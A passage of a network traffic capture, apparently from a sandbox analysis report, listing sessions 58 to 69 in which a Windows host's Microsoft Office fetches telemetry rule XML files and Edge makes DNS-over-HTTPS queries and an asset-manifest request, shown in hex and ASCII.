2024-11-27 23:19:39 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.6	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:39 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:39 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: fac497c4-501e-008f-4391-3f9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231939Z-174f7845968kdththC1EWRzvxn00000009zg000000007quk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:40 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.6	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:39 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:40 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:40 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3eca19a5-d01e-005a-2410-417fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231940Z-174f7845968pght8hC1EWRyvxg00000000v0000000001xku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.6	49823	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 23:19:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 23:19:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e95d8313dce5e6a-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 23:19:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bb 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.6	49830	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 23:19:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 23:19:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e95d8319b1a4216-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 23:19:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.6	49824	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 23:19:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 23:19:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e95d831cb5d42e1-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 23:19:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 20 00 04 8e fa 50 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom PC)

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49821	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:41 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231941Z-174f78459685726chC1EWRsnbg0000000xs0000000002a2c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:41 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.6	49833	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:41 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:41 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231941Z-174f7845968vqt9xhC1EWRgten0000000xr00000000048n0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:41 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.6	49835	172.64.41.3	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-27 23:19:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-27 23:19:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 27 Nov 2024 23:19:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e95d8348ebe0fa8-EWR alt-svc: h3=":443"; ma=86400
2024-11-27 23:19:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 12 00 04 8e fb 29 03 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom))

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:41 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231941Z-174f7845968cpnpfhC1EWR3afc0000000x6g00000000by5w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:42 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-27 23:19:42 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:42 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 4506793e-f01e-0071-0b15-41431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241127T231942Z-174f7845968pght8hC1EWRyvxg00000000t0000000006yts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-27 23:19:42 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49838	13.107.246.63	443	9192	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-27 23:19:41 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-27 23:19:42 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 27 Nov 2024 23:19:42 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241127T231942Z-174f78459685726chC1EWRsnbg0000000xsg00000000138s Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
